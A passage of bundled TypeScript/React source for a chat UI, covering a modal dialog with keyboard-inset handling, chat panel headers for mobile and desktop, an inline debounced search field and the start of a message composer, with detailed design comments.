LAYOUT viewport when the keyboard opens (WKWebView keeps\n          its frame; Android's window is edge-to-edge so the IME arrives as a\n          WindowInsets type), so `inset-0` and every vh/% height keep reporting\n          the full screen and this bottom-anchored panel opened entirely BEHIND\n          the keyboard. Padding leaves the backdrop full-screen while the flex\n          CONTENT box — which is what `items-end` anchors to and what the\n          panel's percentage max-height resolves against — stops above it.\n          `--of-keyboard-inset` is published by the app (keyboard-inset.ts);\n          unset everywhere else, hence the 0px fallback. The 200ms below is\n          mirrored there as INSET_TRANSITION_MS — it delays the app's\n          scroll-the-focused-field re-assert until this transition settles. */}\n        <div\n          className=\"fixed inset-0 z-[1300] flex items-end justify-center transition-[padding] duration-200 md:items-center\"\n          style={{ paddingBottom: 'var(--of-keyboard-inset, 0px)' }}\n        >\n          <div\n            data-state={state}\n            className={cn(\n              'absolute inset-0 bg-ods-overlay backdrop-blur-[2px] md:backdrop-blur-none',\n              'duration-200 fill-mode-forwards',\n              'data-[state=open]:animate-in data-[state=open]:fade-in-0',\n              'data-[state=closed]:animate-out data-[state=closed]:fade-out-0',\n              // Hold the hidden end-state until unmount so the backdrop doesn't\n              // flash back to full opacity when the animation finishes a frame\n              // before the unmount timeout fires.\n              'data-[state=closed]:fill-mode-forwards',\n            )}\n            onClick={onClose}\n            aria-hidden=\"true\"\n          />\n          <div\n            ref={node => {\n              panelRef.current = node;\n              if (typeof ref === 'function') ref(node);\n              else if (ref) ref.current = node;\n            }}\n            tabIndex={-1}\n            data-state={state}\n            className={cn(\n              // A single base utility per size (not md:max-w-*) so consumer\n              // max-w-* overrides via className still win at every breakpoint.\n              'relative z-10 flex w-full min-w-0 flex-col',\n              // The panel is a focus TARGET (tabIndex -1), not a control: focus\n              // moves here on open so the dialog owns the keyboard, and the UA\n              // then paints its default ring around the whole modal. Opening by\n              // click hides it via :focus-visible heuristics, but a modal opened\n              // from a URL on page load has no preceding pointer event, so the\n              // ring showed on every refresh. Fields inside keep their own rings.\n              'outline-none',\n              MODAL_V2_SIZE_CLASSES[size],\n              'mx-4 mb-4 md:mb-0',\n              // dvh, not vh: vh ignores a mobile browser's retracting URL bar, so\n              // 90vh already overflowed behind Safari's toolbar. The `100%-2rem`\n              // arm resolves against the keyboard-padded wrapper above and caps\n              // the panel to what's left of it, less the 1rem `mb-4` and a\n              // matching 1rem of breathing room at the top — header and footer\n              // stay pinned, ModalV2Content scrolls. min() picks 90dvh on any\n              // viewport over 320px tall, so desktop is untouched.\n              'max-h-[min(90dvh,100%-2rem)]',\n              // `wide` also FIXES the desktop height rather than only capping it:\n              // its columns scroll independently, and a height that tracks\n              // content makes the panel jump as an entity hydrates in. Mobile\n              // keeps the bottom-sheet's content-sized height.\n              size === 'wide' && 'md:h-[min(90dvh,100%-2rem)]',\n              'bg-ods-bg md:bg-ods-card',\n              'rounded-md border border-ods-border shadow-xl',\n              'gap-[var(--spacing-system-l)] p-[var(--spacing-system-xl)]',\n              'duration-200 fill-mode-forwards',\n              'data-[state=open]:animate-in data-[state=open]:fade-in-0',\n              'data-[state=open]:slide-in-from-bottom-4 md:data-[state=open]:zoom-in-95 md:data-[state=open]:slide-in-from-bottom-0',\n              'data-[state=closed]:animate-out data-[state=closed]:fade-out-0',\n              'data-[state=closed]:slide-out-to-bottom-4 md:data-[state=closed]:zoom-out-95 md:data-[state=closed]:slide-out-to-bottom-0',\n              // Hold the hidden end-state until unmount so the panel doesn't snap\n              // back to opacity/scale 1 for a frame before it unmounts.\n              'data-[state=closed]:fill-mode-forwards',\n              className,\n            )}\n            role=\"dialog\"\n            aria-modal=\"true\"\n          >\n            <ModalContext.Provider value={{ onClose }}>{children}</ModalContext.Provider>\n          </div>\n        </div>\n      </RemoveScroll>\n    );\n  },\n);\nModal.displayName = 'ModalV2';\n\nconst ModalContent = forwardRef<HTMLDivElement, ModalContentProps>(({ children, className }, ref) => (\n  <div ref={ref} className={cn('min-h-0 flex-1 overflow-y-auto', className)}>\n    {children}\n  </div>\n));\nModalContent.displayName = 'ModalV2Content';\n\n/**\n * The two-column editor body. Use INSTEAD OF `ModalV2Content` (not inside it)\n * on a `size=\"wide\"` modal — it owns the same `flex-1 min-h-0` slot.\n *\n * Scroll model, which is the whole reason this is a component and not a pair\n * of copy-pasted class strings: below `lg` there is ONE column and the outer\n * region scrolls, so a phone behaves exactly like every single-column modal.\n * From `lg` up the outer region is `overflow-hidden` and each column scrolls\n * independently, so a long left column never drags the right one out of view.\n */\nconst ModalTwoColumn = forwardRef<HTMLDivElement, ModalTwoColumnProps>(({ left, right, className }, ref) => (\n  <div ref={ref} className={cn('min-h-0 flex-1 overflow-y-auto lg:overflow-hidden', className)}>\n    {/* `lg:grid-rows-[minmax(0,1fr)]` is what makes the columns scroll: an\n          implicit `auto` row sizes to the TALLER column, so the columns had no\n          bounded height to scroll inside and the outer `overflow-hidden`\n          silently clipped them instead. minmax(0,…) also beats the default\n          `min-height:auto` on the row, which would otherwise refuse to shrink\n          below content height. */}\n    <div className=\"grid grid-cols-1 gap-[var(--spacing-system-xl)] lg:h-full lg:min-h-0 lg:grid-cols-2 lg:grid-rows-[minmax(0,1fr)]\">\n      <div className=\"min-h-0 space-y-[var(--spacing-system-lf)] lg:overflow-y-auto lg:pr-[var(--spacing-system-sf)]\">\n        {left}\n      </div>\n      <div className=\"min-h-0 space-y-[var(--spacing-system-lf)] lg:overflow-y-auto lg:pr-[var(--spacing-system-sf)]\">\n        {right}\n      </div>\n    </div>\n  </div>\n));\nModalTwoColumn.displayName = 'ModalV2TwoColumn';\n\nconst ModalHeader = forwardRef<HTMLDivElement, ModalHeaderProps>(({ children, className }, ref) => {\n  const { onClose } = useContext(ModalContext);\n  return (\n    <div ref={ref} className={cn('flex items-center gap-[var(--spacing-system-sf)]', className)}>\n      <div className=\"flex min-w-0 flex-1 flex-col\">{children}</div>\n      {onClose && (\n        <button\n          onClick={onClose}\n          className=\"hidden shrink-0 text-ods-text-secondary transition-colors hover:text-ods-text-primary md:flex\"\n          aria-label=\"Close\"\n        >\n          <XmarkIcon className=\"size-6\" />\n        </button>\n      )}\n    </div>\n  );\n});\nModalHeader.displayName = 'ModalV2Header';\n\nconst ModalTitle = forwardRef<HTMLHeadingElement, ModalTitleProps>(({ children, className }, ref) => (\n  <h2 ref={ref} className={cn('text-ods-text-primary text-h2', className)}>\n    {children}\n  </h2>\n));\nModalTitle.displayName = 'ModalV2Title';\n\nconst ModalFooter = forwardRef<HTMLDivElement, ModalFooterProps>(({ children, className }, ref) => (\n  <div ref={ref} className={cn('flex gap-4', className)}>\n    {children}\n  </div>\n));\nModalFooter.displayName = 'ModalV2Footer';\n\nexport {\n  Modal as ModalV2,\n  ModalContent as ModalV2Content,\n  ModalFooter as ModalV2Footer,\n  ModalHeader as ModalV2Header,\n  ModalTitle as ModalV2Title,\n  ModalTwoColumn as ModalV2TwoColumn,\n};\n","'use client';\n\nimport { type ButtonHTMLAttributes, forwardRef } from 'react';\nimport { cn } from '../../utils/cn';\n\nexport interface ChatHeaderIconButtonProps extends ButtonHTMLAttributes<HTMLButtonElement> {\n  /** Which side carries the 1px cell divider. Trailing cells (close, ⋯,\n   *  archive) use the default `'left'`; a leading cell (the back chevron) uses\n   *  `'right'`; `'none'` drops it. */\n  divider?: 'left' | 'right' | 'none';\n}\n\n/**\n * Square 56×56 icon cell used in the chat panel's top-navigation\n * (archive / restore / close, the `⋯` menu trigger, and the leading back\n * chevron). A border on one side acts as the 1px divider between cells.\n *\n * On hover only the background changes (`ods-bg-hover`) — the icon keeps its\n * `ods-text-secondary` colour. `forwardRef` + prop spread so it works as a\n * Radix `asChild` trigger.\n */\nexport const ChatHeaderIconButton = forwardRef<HTMLButtonElement, ChatHeaderIconButtonProps>(\n  ({ className, children, type = 'button', divider = 'left', ...props }, ref) => (\n    <button\n      ref={ref}\n      type={type}\n      className={cn(\n        'flex size-14 shrink-0 items-center justify-center border-ods-border',\n        divider === 'left' && 'border-l',\n        divider === 'right' && 'border-r',\n        'text-ods-text-secondary transition-colors hover:bg-ods-bg-hover',\n        'focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent',\n        className,\n      )}\n      {...props}\n    >\n      {children}\n    </button>\n  ),\n);\nChatHeaderIconButton.displayName = 'ChatHeaderIconButton';\n","'use client';\n\nimport { useState, useRef, useEffect, useCallback } from 'react';\nimport { useDebounce } from '../../hooks/ui/use-debounce';\nimport { cn } from '../../utils/cn';\nimport { SearchIcon } from '../icons-v2-generated';\n\nexport interface ChatHeaderSearchFieldProps {\n  /** Seeds the field on mount (the current server-side search term). */\n  initialValue?: string;\n  /** Emits the DEBOUNCED term. The host owns the query and refetches the\n   *  dialog list server-side — the field never filters locally. */\n  onSearchChange: (query: string) => void;\n  /** Collapse the field back to the title. Fired on Escape and on blur while\n   *  the field is empty (an accidental open closes itself). */\n  onCollapse?: () => void;\n  /** Focus the input on mount (default true — the field only mounts when the\n   *  user opens search, so we drop them straight into typing). */\n  autoFocus?: boolean;\n  /** Appended to the root element (e.g. to tweak the open animation). */\n  className?: string;\n}\n\n/**\n * Inline chat-header search field (Figma node 116:51217). When search is\n * toggled on, the panel header's title area is REPLACED in place by this\n * full-height field — a leading magnifier + a bare, borderless input — instead\n * of dropping a separate search bar into the list body. Holds its own text for\n * snappy typing and emits the debounced term via `onSearchChange`.\n */\nexport function ChatHeaderSearchField({\n  initialValue,\n  onSearchChange,\n  onCollapse,\n  autoFocus = true,\n  className,\n}: ChatHeaderSearchFieldProps) {\n  const [value, setValue] = useState(initialValue ?? '');\n  const debounced = useDebounce(value, 300);\n  const lastEmitted = useRef(initialValue ?? '');\n\n  // Exit animation: collapsing plays `animate-out` (slide/fade back toward the\n  // right) BEFORE the parent unmounts us. We stay mounted through the leave —\n  // the parent only drops the field once we call `onCollapse`, which we defer\n  // to the animation's end.\n  const [exiting, setExiting] = useState(false);\n  const collapsedRef = useRef(false);\n\n  useEffect(() => {\n    // Once the collapse starts, no further emits: Escape already flushed the\n    // cleared term synchronously, and a still-pending debounce of the typed\n    // text (\"abc\" → Escape before 300ms) must not resurrect a stale query\n    // while the field animates out.\n    if (exiting) return;\n    if (debounced === lastEmitted.current) return;\n    lastEmitted.current = debounced;\n    onSearchChange(debounced);\n  }, [debounced, exiting, onSearchChange]);\n\n  const finishCollapse = useCallback(() => {\n    if (collapsedRef.current) return;\n    collapsedRef.current = true;\n    onCollapse?.();\n  }, [onCollapse]);\n\n  const beginCollapse = useCallback(() => {\n    setExiting(true);\n  }, []);\n\n  // Fallback for when `animationend` never fires (reduced motion, or the\n  // animation utilities are disabled) — otherwise the field would hang open.\n  useEffect(() => {\n    if (!exiting) return undefined;\n    const t = setTimeout(finishCollapse, 240);\n    return () => clearTimeout(t);\n  }, [exiting, finishCollapse]);\n\n  return (\n    <div\n      onAnimationEnd={e => {\n        // Only the root's OWN leave animation collapses — ignore the child\n        // icon's animations bubbling up, and the enter animation.\n        if (e.target === e.currentTarget && exiting) finishCollapse();\n      }}\n      className={cn(\n        'flex min-w-0 flex-1 items-center gap-[var(--spacing-system-xs)] px-[var(--spacing-system-sf)]',\n        exiting\n          ? // Elegant leave: sweep back out to the right + fade, holding the end\n            // frame (`fill-mode-forwards`) so it stays hidden until unmount.\n            'pointer-events-none duration-200 ease-in animate-out fade-out-0 slide-out-to-right-4 fill-mode-forwards'\n          : // Elegant open: sweep in from the right (where the magnifier toggle\n            // sat) and fade up as it takes over the title area.\n            'duration-200 ease-out animate-in fade-in-0 slide-in-from-right-4',\n        className,\n      )}\n    >\n      {/* The magnifier eases in a touch later + scales up, so the icon reads as\n          \"growing\" into the field rather than hard-cutting in. */}\n      <SearchIcon\n        size={24}\n        className=\"shrink-0 text-ods-text-secondary duration-300 ease-out animate-in fade-in-0 zoom-in-75\"\n      />\n      {/* `autoFocus` on purpose: the field only mounts on an explicit search\n          toggle, so focusing it is what the user just asked for. */}\n      <input\n        autoFocus={autoFocus}\n        type=\"text\"\n        value={value}\n        disabled={exiting}\n        onChange={e => setValue(e.target.value)}\n        onKeyDown={e => {\n          if (e.key === 'Escape') {\n            e.preventDefault();\n            setValue('');\n            // Emit the cleared term immediately AND record it as the last emit,\n            // so the 300ms debounce effect doesn't fire a second, redundant\n            // `onSearchChange('')` (extra server round-trip) before we unmount.\n            lastEmitted.current = '';\n            onSearchChange('');\n            beginCollapse();\n          }\n        }}\n        onBlur={() => {\n          // An accidental open (no query typed) collapses itself; a field with\n          // an active query stays open so the filtered state stays visible.\n          if (!value.trim()) {\n            // Flush the cleared term synchronously (mirrors Escape) — the\n            // debounce effect is muted once `exiting` flips, so a just-deleted\n            // query (\"abc\" → \"\" → immediate blur) must emit its reset here or\n            // the host would keep filtering by the stale term.\n            if (lastEmitted.current !== '') {\n              lastEmitted.current = '';\n              onSearchChange('');\n            }\n            beginCollapse();\n          }\n        }}\n        placeholder=\"Search for Chats\"\n        aria-label=\"Search chats\"\n        className=\"min-w-0 flex-1 bg-transparent text-ods-text-primary text-h4 placeholder:text-ods-text-secondary focus:outline-none\"\n      />\n    </div>\n  );\n}\n","'use client';\n\nimport { cn } from '../../utils/cn';\nimport { Chevron02LeftIcon, ClockHistoryIcon, XmarkIcon } from '../icons-v2-generated';\nimport { ActionsMenuDropdown, type ActionsMenuItem } from '../ui/actions-menu';\nimport { Button } from '../ui/button';\nimport type { ChatPanelHeaderProps } from './chat-panel-header';\n\nexport interface ChatPanelHeaderMobileProps extends ChatPanelHeaderProps {\n  className?: string;\n}\n\n/**\n * Mobile chat panel header — Figma node `7363:85532`. A distinct layout from\n * the desktop bar (which packs full-height divider cells into a fixed `h-14`):\n *\n *   - Surface: `ods-card` with a bottom border; generous `l` side padding,\n *     `l` bottom padding, and `xl` top padding on the title block (so the row\n *     bottom-aligns under a tall header).\n *   - Title: `text-h2` (vs the desktop `h3`/`h4`), truncated.\n *   - Actions: 44px outlined icon buttons (`Button variant=\"outline\"\n *     size=\"icon\"`) — a back chevron (when applicable), a trailing `⋯` menu\n *     carrying the view-dependent actions (hidden when no action applies),\n *     and an X Close. The X is REQUIRED here: on mobile the drawer is\n *     full-screen (`w-screen`), so there is no visible backdrop to tap —\n *     without it the panel cannot be dismissed at all.\n *\n * Same prop contract as `ChatPanelHeader`; the orchestrator renders this on\n * mobile and the desktop bar on `md+`.\n */\nexport function ChatPanelHeaderMobile({\n  showBack = false,\n  title,\n  backAriaLabel = 'Back',\n  isArchivedView = false,\n  onBack,\n  onClose,\n  onRestore,\n  onRename,\n  onArchive,\n  onCopyLink,\n  onOpenArchive,\n  className,\n}: ChatPanelHeaderMobileProps) {\n  // The right-hand ⋯ menu carries the view-dependent actions. Close is not\n  // listed (the panel is dismissed elsewhere); the trigger is hidden entirely\n  // when no action applies (e.g. the archive list view).\n  const menuItems = [\n    !showBack &&\n      onOpenArchive && {\n        id: 'open-archive',\n        label: 'Chat archive',\n        icon: <ClockHistoryIcon className=\"h-full w-full\" />,\n        onClick: onOpenArchive,\n      },\n    isArchivedView && onRestore && { id: 'unarchive', label: 'Unarchive chat', onClick: onRestore },\n    !isArchivedView && onCopyLink && { id: 'copy-link', label: 'Copy chat link', onClick: onCopyLink },\n    !isArchivedView && onRename && { id: 'rename', label: 'Rename chat', onClick: onRename },\n    !isArchivedView && onArchive && { id: 'archive', label: 'Archive chat', onClick: onArchive },\n  ].filter(Boolean) as ActionsMenuItem[];\n\n  return (\n    <div\n      className={cn(\n        'flex flex-shrink-0 flex-col border-b border-ods-border bg-ods-card',\n        'px-[var(--spacing-system-l)] pb-[var(--spacing-system-l)]',\n        className,\n      )}\n    >\n      <div className=\"flex w-full items-end gap-[var(--spacing-system-sf)]\">\n        {showBack && (\n          <Button variant=\"outline\" size=\"icon\" aria-label={backAriaLabel} onClick={onBack} className=\"shrink-0\">\n            <Chevron02LeftIcon />\n          </Button>\n        )}\n\n        {/* Title block — `xl` top padding pushes the title down so the row\n            bottom-aligns the title, back chevron, and ⋯ menu. */}\n        <div className=\"flex min-w-0 flex-1 items-end gap-[var(--spacing-system-m)] pt-[var(--spacing-system-xl)]\">\n          <div className=\"flex min-w-0 flex-1 flex-col gap-[var(--spacing-system-xs)]\">\n            <p className=\"min-w-0 truncate text-ods-text-primary text-h2\" title={title}>\n              {title}\n            </p>\n          </div>\n\n          {menuItems.length > 0 && (\n            <ActionsMenuDropdown\n              groups={[{ items: menuItems }]}\n              triggerAriaLabel=\"Chat actions\"\n              triggerClassName=\"flex shrink-0 items-center justify-center border-ods-border bg-ods-card hover:bg-ods-bg-hover focus-visible:ring-0\"\n            />\n          )}\n\n          {onClose && (\n            <Button variant=\"outline\" size=\"icon\" aria-label=\"Close chat\" onClick={onClose} className=\"shrink-0\">\n              <XmarkIcon />\n            </Button>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n","'use client';\n\nimport type { ReactNode } from 'react';\nimport { cn } from '../../utils/cn';\nimport {\n  Chevron02LeftIcon,\n  Ellipsis01Icon,\n  ClockHistoryIcon,\n  Refresh01LeftIcon,\n  SearchIcon,\n} from '../icons-v2-generated';\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon';\nimport { ActionsMenuDropdown, type ActionsMenuItem } from '../ui/actions-menu';\nimport { SquareAvatar } from '../ui/square-avatar';\nimport { ChatHeaderIconButton } from './chat-header-icon-button';\nimport { ChatHeaderSearchField } from './chat-header-search-field';\nimport { ChatPanelHeaderMobile } from './chat-panel-header-mobile';\n\nexport interface ChatPanelHeaderProps {\n  /** Show the back-chevron + bold (h3) title. When false, the static list\n   *  title (h4) is shown with no back affordance. */\n  showBack?: boolean;\n  /** Title text (next to the back chevron, or the static list title). */\n  title: string;\n  /** Optional sub-line under the title (e.g. the signed-in user's name).\n   *  Rendered muted (`h6`) beneath the title in every view that has one. */\n  subtitle?: ReactNode;\n  /** Person identity shown as a 32px round avatar at the right edge of the\n   *  title cell (Figma 113:63273): the dialog OWNER in a conversation, the\n   *  signed-in user on the New Chat compose view. Initials fall back from\n   *  `name` when `avatarUrl` is absent/failing. Omit to hide. */\n  avatar?: { name?: string | null; avatarUrl?: string | null };\n  /** Accessible label for the back chevron. */\n  backAriaLabel?: string;\n  /** The open conversation is an archived chat (read-only). */\n  isArchivedView?: boolean;\n  /** Back-chevron handler. Required only when `showBack` — the list view has no\n   *  back affordance. */\n  onBack?: () => void;\n  /** Close the panel. */\n  onClose: () => void;\n  /** Restore/unarchive — renders the refresh button (archived view only). */\n  onRestore?: () => void;\n  /** Rename — adds the \"Rename chat\" item to the ⋯ menu. */\n  onRename?: () => void;\n  /** Archive — adds the \"Archive chat\" item to the ⋯ menu. */\n  onArchive?: () => void;\n  /** Copy a shareable link to the open conversation — adds the \"Copy chat link\"\n   *  item to the ⋯ menu. The host owns the URL and the copy. */\n  onCopyLink?: () => void;\n  /** Open the Chat Archive page — renders the clock button (list view only). */\n  onOpenArchive?: () => void;\n  /** Force the COMPACT (`h-14` desktop-style) bar at every width, skipping the\n   *  full-screen mobile header. For EMBEDDED surfaces (e.g. a small preview\n   *  panel) where the phone-sized full-bleed header (large `text-h2` title) is\n   *  wrong regardless of viewport. Default false = viewport-responsive. */\n  compact?: boolean;\n  /** Toggle the dialog-list search field — renders a magnifier button (list\n   *  view only), before the archive clock. */\n  onToggleSearch?: () => void;\n  /** Whether the search field is currently open. When true (and `onSearchChange`\n   *  is wired) the title area is REPLACED in place by the inline search field\n   *  and the magnifier toggle is hidden. */\n  searchActive?: boolean;\n  /** Seeds the inline search field when it opens (current search term). */\n  searchQuery?: string;\n  /** Emits the debounced search term from the inline field. Enables the\n   *  in-header search experience (list view only). */\n  onSearchChange?: (query: string) => void;\n}\n\n/**\n * Chat panel top-navigation (Figma node 7363:205930). One bar across the\n * list / active-conversation / archived-conversation / guide views: a\n * back-chevron + title (or the static list title), then state-dependent\n * right-hand actions (restore, ⋯ rename/archive, archive entry) and close.\n */\nexport function ChatPanelHeader({\n  showBack = false,\n  title,\n  subtitle,\n  avatar,\n  backAriaLabel = 'Back',\n  isArchivedView = false,\n  onBack,\n  onClose,\n  onRestore,\n  onRename,\n  onArchive,\n  onCopyLink,\n  onOpenArchive,\n  compact = false,\n  onToggleSearch,\n  searchActive = false,\n  searchQuery,\n  onSearchChange,\n}: ChatPanelHeaderProps) {\n  // Search open (with a wired handler) swaps the title for the inline field.\n  const searchInline = searchActive && !!onSearchChange;\n  // Desktop ⋯ menu (active, non-archived conversation only) — rename / archive.\n  const menuItems = [\n    onCopyLink && { id: 'copy-link', label: 'Copy chat link', onClick: onCopyLink },\n    onRename && { id: 'rename', label: 'Rename chat', onClick: onRename },\n    onArchive && { id: 'archive', label: 'Archive chat', onClick: onArchive },\n  ].filter(Boolean) as ActionsMenuItem[];\n\n  return (\n    <>\n      {/* Mobile (<md): a distinct full-screen layout (Figma node 7363:85532).\n          Skipped in `compact` mode — an embedded preview keeps the small bar\n          at every width. */}\n      {!compact && (\n        <ChatPanelHeaderMobile\n          className=\"flex md:hidden\"\n          showBack={showBack}\n          title={title}\n          subtitle={subtitle}\n          backAriaLabel={backAriaLabel}\n          isArchivedView={isArchivedView}\n          onBack={onBack}\n          onClose={onClose}\n          onRestore={onRestore}\n          onRename={onRename}\n          onArchive={onArchive}\n          onCopyLink={onCopyLink}\n          onOpenArchive={onOpenArchive}\n        />\n      )}\n\n      {/* Compact bar: `md+` normally, or ALL widths when `compact`. Fixed-height\n          bar with full-height divider action cells. */}\n      <div\n        className={cn(\n          'h-14 w-full flex-shrink-0 overflow-hidden border-b border-ods-border bg-ods-card',\n          compact ? 'flex' : 'hidden md:flex',\n        )}\n      >\n        {/* Back — a full-height leading cell (right divider), the same\n            `ChatHeaderIconButton` primitive as the trailing ⋯ / close cells. */}\n        {showBack && (\n          <ChatHeaderIconButton divider=\"right\" onClick={onBack} aria-label={backAriaLabel}>\n            <Chevron02LeftIcon size={24} />\n          </ChatHeaderIconButton>\n        )}\n        {searchInline ? (\n          // Search open — the inline field takes over the title area in place\n          // (Figma 116:51217); the magnifier toggle below is hidden.\n          <ChatHeaderSearchField\n            initialValue={searchQuery}\n            onSearchChange={onSearchChange}\n            onCollapse={onToggleSearch}\n          />\n        ) : (\n          <div className=\"flex min-w-0 flex-1 items-center gap-[var(--spacing-system-m)] px-[var(--spacing-system-mf)] py-[var(--spacing-system-sf)]\">\n            <div className=\"flex min-w-0 flex-col\">\n              <p className=\"truncate leading-tight text-ods-text-primary text-h3\">{title}</p>\n              {subtitle && <p className=\"truncate leading-tight text-ods-text-secondary text-h6\">{subtitle}</p>}\n            </div>\n            {avatar && (avatar.name || avatar.avatarUrl) ? (\n              // Owner avatar at the title cell's right edge (Figma 113:63273).\n              <SquareAvatar\n                variant=\"round\"\n                sizePx={32}\n                className=\"ml-auto\"\n                src={avatar.avatarUrl || undefined}\n                alt={avatar.name || undefined}\n                fallback={avatar.name || undefined}\n                initialsClassName=\"text-[11px] text-ods-text-secondary\"\n                title={avatar.name || undefined}\n              />\n            ) : null}\n          </div>\n        )}\n\n        {/* Restore (refresh) — archived chat header (Figma node 7361:425441). */}\n        {isArchivedView && onRestore && (\n          <ChatHeaderIconButton onClick={onRestore} aria-label=\"Unarchive chat\">\n            <Refresh01LeftIcon size={24} />\n          </ChatHeaderIconButton>\n        )}\n\n        {/* Rename / Archive menu — active (non-archived) conversation only. */}\n        {showBack && !isArchivedView && menuItems.length > 0 && (\n          <ActionsMenuDropdown\n            triggerAriaLabel=\"Chat actions\"\n            onCloseAutoFocus={e => e.preventDefault()}\n            groups={[{ items: menuItems }]}\n            customTrigger={\n              <ChatHeaderIconButton aria-label=\"Chat actions\">\n                <Ellipsis01Icon size={24} />\n              </ChatHeaderIconButton>\n            }\n          />\n        )}\n\n        {/* Dialog search toggle — list view only, before the archive entry.\n            Hidden while search is open (the inline field owns the magnifier). */}\n        {!showBack && !searchInline && onToggleSearch && (\n          <ChatHeaderIconButton onClick={onToggleSearch} aria-label=\"Search chats\" aria-pressed={searchActive}>\n            <SearchIcon size={24} />\n          </ChatHeaderIconButton>\n        )}\n\n        {/* Chat Archive entry (Figma node 7532:225034) — list view only. */}\n        {!showBack && onOpenArchive && (\n          <ChatHeaderIconButton onClick={onOpenArchive} aria-label=\"Chat archive\">\n            <ClockHistoryIcon size={24} />\n          </ChatHeaderIconButton>\n        )}\n\n        <ChatHeaderIconButton onClick={onClose} aria-label=\"Close\">\n          <XmarkIcon size={24} />\n        </ChatHeaderIconButton>\n      </div>\n    </>\n  );\n}\n","'use client';\n\nimport { type ComponentProps, type ReactNode, type Ref, useCallback, useMemo } from 'react';\nimport { cn } from '../../utils/cn';\nimport { BoxArchiveIcon } from '../icons-v2-generated';\nimport { ChatAttachmentAddButton } from './chat-attachment-bar';\nimport { ChatFooter } from './chat-container';\nimport { ChatContextMemoryBar } from './chat-context-memory-bar';\nimport { ChatComposerPlusMenu, ChatContextChipStrip, ChatContextPicker } from './chat-context-picker';\nimport { ChatInput } from './chat-input';\nimport { ModelDisplay } from './model-display';\nimport type { ChatInputRef, ModelDisplayProps } from './types/component.types';\nimport type { ChatContextItem, ChatContextPickerConfig } from './types/context-item.types';\n\nexport interface ChatComposerProps {\n  /** Read-only archived chat → render the unarchive placeholder instead of the\n   *  input (Figma node 7361:426949). */\n  archived?: boolean;\n  inputRef: Ref<ChatInputRef>;\n  onSend: (text: string) => void;\n  onStop: () => void;\n  sending: boolean;\n  placeholder: string;\n  autoFocus?: boolean;\n  slashCommands?: ComponentProps<typeof ChatInput>['slashCommands'];\n  /** Show the (Guide-only) attachment add button to the left of the model row. */\n  showAttachmentButton?: boolean;\n  attachmentsCount?: number;\n  onAddFiles?: (files: FileList | File[]) => void;\n  attachmentsDisabled?: boolean;\n  /** Model + usage row props, forwarded to `<ModelDisplay>`. */\n  model: ModelDisplayProps;\n\n  // ─── Entity-context picker (Figma 31:28708 / 1:5699) ──────────────────────\n  // When `contextPicker` is set the composer renders the `+` \"Assign Item\"\n  // menu, the `@`-mention trigger, the two-level picker, and the selected-item\n  // chip strip. All selection STATE is owned by the parent (EmbeddableChat) and\n  // flows through these props; this component is presentational.\n  /** Host config (entity types + search resolver). Picker is inert when unset. */\n  contextPicker?: ChatContextPickerConfig;\n  /** Currently-selected context items (chips + ✓ state). */\n  selectedContextItems?: ChatContextItem[];\n  /** Toggle an item in/out of the selection (picker rows). */\n  onToggleContextItem?: (item: ChatContextItem) => void;\n  /** Remove an item (chip ×). */\n  onRemoveContextItem?: (item: ChatContextItem) => void;\n  /** Ambient CONTEXT MEMORY (Figma 271:38656) — the entities the host collected\n   *  from the user's navigation history and sends with every message. Rendered\n   *  as a summary strip at the top of the composer card, above the assigned-item\n   *  chips. Empty/omitted → no strip. */\n  contextMemoryItems?: ChatContextItem[];\n  /** Drop one entity from the context memory (dropdown row ×). */\n  onRemoveContextMemoryItem?: (item: ChatContextItem) => void;\n  /** Controlled picker open state. */\n  contextPickerOpen?: boolean;\n  /** Open the picker (the `+` menu's \"Assign Item\"). */\n  onOpenContextPicker?: () => void;\n  /** Close the picker (Escape / outside-click / pick-complete). */\n  onCloseContextPicker?: () => void;\n  /** Active `@`-mention query (filters the type list); null when inactive. */\n  mentionQuery?: string | null;\n  /** `@`-trigger callback forwarded to the input. */\n  onMentionQueryChange?: (query: string | null) => void;\n  /** Fires on every draft value change — threaded to `ChatInput.onValueChange`\n   *  so the host can keep `@type:id` mention tokens in sync with context chips. */\n  onValueChange?: (value: string) => void;\n  /** Non-destructive ghost preview shown in the empty composer (e.g. a hovered\n   *  quick-action's full prompt). Forwarded to `ChatInput.previewText`. */\n  previewText?: string;\n}\n\n/**\n * Chat panel footer (Figma node 7363:205952): the message composer (live\n * `ChatInput` or the read-only archived placeholder) above the model/usage\n * row. No own background — inherits the panel surface so it blends seamlessly.\n *\n * With `contextPicker` set, the selected-context chip strip sits above the\n * input, the two-level picker popover anchors above the input, and the bottom\n * controls row swaps the bare attachment `+` for the `+` plus-menu.\n */\nexport function ChatComposer({\n  archived = false,\n  inputRef,\n  onSend,\n  onStop,\n  sending,\n  placeholder,\n  autoFocus,\n  slashCommands,\n  showAttachmentButton = false,\n  attachmentsCount = 0,\n  onAddFiles,\n  attachmentsDisabled = false,\n  model,\n  contextPicker,\n  selectedContextItems,\n  onToggleContextItem,\n  onRemoveContextItem,\n  contextMemoryItems,\n  onRemoveContextMemoryItem,\n  contextPickerOpen = false,\n  onOpenContextPicker,\n  onCloseContextPicker,\n  mentionQuery = null,\n  onMentionQueryChange,\n  onValueChange,\n  previewText,\n}: ChatComposerProps) {\n  const contextEnabled = !!contextPicker && !archived;\n  const selected = selectedContextItems ?? [];\n  const memory = contextMemoryItems ?? [];\n\n  // type → icon lookup so the chips (composer + bubble) lead with their\n  // entity-type glyph without the parent threading an extra resolver. Keyed on\n  // `entityTypes` (not the whole `contextPicker`) so an inline host config\n  // doesn't rebuild the map — and the derived `resolveContextIcon` — every render.\n  const entityTypes = contextPicker?.entityTypes;\n  const iconByType = useMemo(() => {\n    const map = new Map<string, ReactNode>();\n    for (const t of entityTypes ?? []) map.set(t.type, t.icon);\n    return map;\n  }, [entityTypes]);\n  const resolveContextIcon = useCallback((item: ChatContextItem) => iconByType.get(item.type), [iconByType]);\n\n  // The input is identical in both layouts; only `hideBorder` (context mode\n  // lets the outer card own the chrome) and the `+` adornment differ.\n  const inputNode = (\n    <ChatInput\n      ref={inputRef}\n      onSend={onSend}\n      onStop={onStop}\n      sending={sending}\n      placeholder={placeholder}\n      previewText={previewText}\n      fullWidth\n      className=\"px-0\"\n      reserveAvatarOffset={false}\n      autoFocus={autoFocus}\n      slashCommands={slashCommands}\n      onMentionQueryChange={contextEnabled ? onMentionQueryChange : undefined}\n      